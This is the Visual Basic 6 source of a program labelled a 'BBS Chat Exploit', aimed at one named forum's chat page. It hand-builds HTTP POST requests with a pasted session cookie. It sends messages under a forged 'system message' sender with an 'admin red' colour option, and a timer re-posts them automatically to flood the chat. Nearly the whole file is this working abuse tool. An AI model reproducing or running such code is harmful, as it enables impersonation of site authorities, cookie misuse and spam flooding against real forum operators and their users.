frmmain.frm

高级的论坛聊天喊话程序

VERSION 5.00
Object = "{48E59290-9880-11CF-9754-00AA00C00908}#1.0#0"; "MSINET.OCX"
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}#1.1#0"; "shdocvw.dll"
Begin VB.Form frmMain 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "EMA.Nsfz BBS Chat Exploit"
   ClientHeight    =   4440
   ClientLeft      =   45
   ClientTop       =   375
   ClientWidth     =   7080
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   4440
   ScaleWidth      =   7080
   StartUpPosition =   3  'Windows Default
   Begin SHDocVwCtl.WebBrowser ViewChat 
      Height          =   2655
      Left            =   120
      TabIndex        =   10
      Top             =   1680
      Width           =   6855
      ExtentX         =   12091
      ExtentY         =   4683
      ViewMode        =   0
      Offline         =   0
      Silent          =   0
      RegisterAsBrowser=   0
      RegisterAsDropTarget=   1
      AutoArrange     =   0   'False
      NoClientEdge    =   0   'False
      AlignLeft       =   0   'False
      NoWebView       =   0   'False
      HideFileNames   =   0   'False
      SingleClick     =   0   'False
      SingleSelection =   0   'False
      NoFolders       =   0   'False
      Transparent     =   0   'False
      ViewID          =   "{0057D0E0-3573-11CF-AE69-08002B2E1262}"
      Location        =   ""
   End
   Begin VB.Timer Timer2 
      Enabled         =   0   'False
      Interval        =   100
      Left            =   240
      Top             =   960
   End
   Begin VB.Timer Timer1 
      Interval        =   2000
      Left            =   120
      Top             =   2280
   End
   Begin MSWinsockLib.Winsock sck 
      Left            =   120
      Top             =   1440
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      RemoteHost      =   "www.nsfz.net"
      RemotePort      =   80
   End
   Begin InetCtlsObjects.Inet Inet1 
      Left            =   240
      Top             =   3600
      _ExtentX        =   1005
      _ExtentY        =   1005
      _Version        =   393216
   End
   Begin VB.Frame Frame1 
      Caption         =   "Config"
      Height          =   1575
      Left            =   120
      TabIndex        =   0
      Top             =   0
      Width           =   6855
      Begin VB.CheckBox chkTimed 
         Caption         =   "连续发布"
         Height          =   375
         Left            =   2040
         Style           =   1  'Graphical
         TabIndex        =   9
         Top             =   1080
         Width           =   1575
      End
      Begin VB.ComboBox clrType 
         Height          =   315
         ItemData        =   "frmMain.frx":0000
         Left            =   120
         List            =   "frmMain.frx":000D
         Style           =   2  'Dropdown List
         TabIndex        =   7
         Top             =   1080
         Width           =   1935
      End
      Begin VB.TextBox txtCookie 
         Height          =   270
         Left            =   120
         TabIndex        =   6
         Text            =   $"frmMain.frx":002F
         Top             =   840
         Width           =   6255
      End
      Begin VB.CommandButton cmdSend 
         Caption         =   "发送"
         Height          =   255
         Left            =   5400
         TabIndex        =   5
         Top             =   600
         Width           =   975
      End
      Begin VB.ComboBox clrs 
         Height          =   315
         ItemData        =   "frmMain.frx":0132
         Left            =   3600
         List            =   "frmMain.frx":0134
         Style           =   2  'Dropdown List
         TabIndex        =   4
         Top             =   600
         Width           =   1815
      End
      Begin VB.TextBox txtGuest 
         Height          =   270
         Left            =   1800
         TabIndex        =   3
         Text            =   "系统消息"
         Top             =   600
         Width           =   1815
      End
      Begin VB.TextBox txtTo 
         Height          =   270
         Left            =   120
         TabIndex        =   2
         Text            =   "所有人"
         Top             =   600
         Width           =   1695
      End
      Begin VB.TextBox txtSend 
         Height          =   360
         Left            =   120
         MultiLine       =   -1  'True
         TabIndex        =   1
         Top             =   240
         Width           =   6255
      End
      Begin VB.Label lblCopyright 
         Caption         =   "Copyright(C) 2006-2007 Genius Power. All rights reserved"
         Height          =   375
         Left            =   3720
         TabIndex        =   8
         Top             =   1080
         Width           =   2655
      End
   End
   Begin InetCtlsObjects.Inet I 
      Left            =   7200
      Top             =   4080
      _ExtentX        =   1005
      _ExtentY        =   1005
      _Version        =   393216
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit

Const Colors = "black|黑色||skyblue|天蓝||royalblue|品蓝||blue|蓝||darkblue|暗蓝||green|绿色||limegreen|灰绿||seagreen|海绿||deeppink|粉||tomato|西红柿色||red|管理员红||coral|珊瑚色||purple|紫色||indigo|靛青||burlywood|棕木||sandybrown|沙褐||sienna|土黄||chocolate|巧克力色||teal|土绿||silver|银"
Private NewData As String


Private Sub chkTimed_Click()
 If chkTimed.Value Then
  Timer2.Interval = InputBox("请输入间隔时间 /ms, 1s=1000ms", "Timed Post", Timer2.Interval)
  Timer2.Enabled = True
  Else
  Timer2.Enabled = False
 End If
End Sub

Private Sub cmdSend_Click()
 Dim NewString As String, leng As Integer, I As Integer
 NewString = "guestname=" & txtGuest & "&to=" & txtTo & "&txt=" & txtSend & "&color=" & Split(clrs.List(clrs.ListIndex), "|")(1)
 For I = 1 To Len(NewString)
  leng = leng + IIf(Asc(Mid(NewString, I, 1)) < 0, 2, 1)
 Next
 NewString = Replace(GetOriginalString, "{Len}", leng) & NewString
 NewString = Replace(NewString, "{Cookie}", txtCookie)
 NewData = NewString
 If sck.State <> sckClosed Then sck.Close
 sck.Connect
 If clrType.ListIndex = 1 Then
  clrs.ListIndex = IIf(clrs.ListIndex = 18, 1, clrs.ListIndex + 1)
  ElseIf clrType.ListIndex = 2 Then
  clrs.ListIndex = Int(19 * Rnd)
 End If
End Sub

Private Sub Form_Load()
 ShowView

 Dim clr() As String, I As Integer
 clr = Split(Colors, "||")
 Debug.Print UBound(clr)
 For I = 0 To UBound(clr)
  clrs.AddItem Split(clr(I), "|")(1) & " |" & Split(clr(I), "|")(0)
 Next
 clrs.ListIndex = 0
 clrType.ListIndex = 0
End Sub

Private Sub ShowView()
    'Exit Sub
    Dim txt As String, CSS As String
    'I.Document
    txt = I.OpenURL("http://www.nsfz.net/bbs/xnwybbs_chat.php")
    If txt = "对不起，您无权限察看该页！" Then Exit Sub
    If InStr(1, txt, "phpwind") > 0 Then Exit Sub
    CSS = Mid(txt, InStr(1, txt, "<style type=""text/css"">"), InStr(1, txt, "</style>") - InStr(1, txt, "<style type=""text/css"">") + 8)
    'txt = Mid(txt, InStr(1, txt, "<style type=""text/css"">"), InStr(1, txt, "</style>") - InStr(1, txt, "<style type=""text/css"">") + 8)
    txt = Mid(txt, InStr(1, txt, "<td width=""100%"" height=""150"" valign=""top"">") + Len("<td width=""100%"" height=""150"" valign=""top"">"), InStr(InStr(1, txt, "<td width=""100%"" height=""150"" valign=""top"">"), txt, "</td>") - InStr(1, txt, "<td width=""100%"" height=""150"" valign=""top"">"))
    txt = Replace(txt, "</label>", "")
    While InStr(1, txt, "<label") > 0
     txt = Left(txt, InStr(1, txt, "<label") - 1) & Right(txt, Len(txt) - InStr(InStr(1, txt, "<label"), txt, ">"))
    Wend
    If Len(Dir("C:\1.htm")) > 0 Then Kill "c:\1.htm"
    'MsgBox txt
    Open "C:\1.htm" For Output As #1
     Print #1, CSS
     Print #1, txt
    Close #1
    ViewChat.Navigate "c:\1.htm"
End Sub

Public Function EncodeURL(OriginalString As String) As String
 Dim Response As String
 Dim I As Integer
 Dim Ch As String
 For I = 1 To Len(OriginalString)
  Ch = Mid(OriginalString, I, 1)
  If Asc(Ch) < 0 Then
   Response = Response & "%" & Left(DEC_to_HEX(-Asc(Ch)), 2) & "%" & Right(DEC_to_HEX(-Asc(Ch)), 2)
 Else
   Response = Response & Ch
   End If
 Next
End Function

Public Function DEC_to_HEX(Dec As Long) As String
    Dim a As String
    DEC_to_HEX = ""
    Do While Dec > 0
        a = CStr(Dec Mod 16)
        Select Case a
            Case "10": a = "A"
            Case "11": a = "B"
            Case "12": a = "C"
            Case "13": a = "D"
            Case "14": a = "E"
            Case "15": a = "F"
        End Select
        DEC_to_HEX = a & DEC_to_HEX
        Dec = Dec \ 16
    Loop
End Function

Public Function GetOriginalString() As String
 Dim r As String
 r = r & "POST http://www.nsfz.net/bbs/xnwybbs_chat.php HTTP/1.0" & vbCrLf
r = r & "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*" & vbCrLf
r = r & "Referer: http://www.nsfz.net/bbs/xnwybbs_chat.php" & vbCrLf
r = r & "Accept-Language: zh-cn" & vbCrLf
r = r & "Content-Type: application/x-www-form-urlencoded" & vbCrLf
r = r & "Proxy-Connection: Keep-Alive" & vbCrLf
r = r & "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" & vbCrLf
r = r & "Host: www.nsfz.net" & vbCrLf
r = r & "Content-Length: {Len}" & vbCrLf
r = r & "Pragma: no-cache" & vbCrLf
r = r & "Cookie: {Cookie}" & vbCrLf
r = r & "" & vbCrLf
GetOriginalString = r
End Function

Private Sub sck_Connect()
 sck.SendData NewData
End Sub

Private Sub Timer1_Timer()
 ShowView
End Sub

Private Sub Timer2_Timer()
 cmdSend_Click
End Sub